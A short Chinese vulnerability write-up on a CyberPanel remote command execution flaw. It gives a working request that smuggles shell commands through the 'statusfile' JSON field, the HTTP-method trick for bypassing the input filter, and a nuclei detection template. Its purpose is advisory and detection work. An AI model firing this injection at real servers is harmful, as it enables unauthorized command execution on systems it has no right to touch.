存在远程命令执行漏洞(QVD-2024-44346)
app="CyberPanel"
【漏洞分析】
参考https://mp.weixin.qq.com/s/Hi0zcygdis_oPZ0k-xIBSg,
根据补丁分析:https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122ce8b0996515
在文件:databases/views.py增加了权限验证:
相关接口:
可以发现对POST请求有过滤:
【漏洞复现】
访问如下请求即可
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Content-Type: application/json
Connection: close
{"statusfile":"/dev/null; id; #"}
注意:之所以需要将请求头换成 OPTIONS、PUT、PATCH 等 HTTP 方法,是为了绕过恶意字符过滤器。因为某些情况下,常规的请求方式可能会受到过滤器的限制,而采用这些特定的 HTTP 方法能够避开过滤器的检测,从而使攻击者有可能利用相关漏洞进行恶意操作。
成功访问:
【nuclei脚本】
info:
name: cyberpanel-upgrademysqlstatus-rce
author: PokerSec
severity: critical
metadata:
fofasearch: app="CyberPanel"
http:
- raw:
- |
OPTIONS /dataBases/upgrademysqlstatus HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Content-Type: application/json
Connection: close
{"statusfile":"1;id;#"}
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"uid=") && contains_all(body,"gid=")
【修复建议】
原文始发于微信公众号(东方隐侠安全团队):漏洞分析|CyberPanel 控制面板存在远程命令执行漏洞(QVD-2024-44346)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论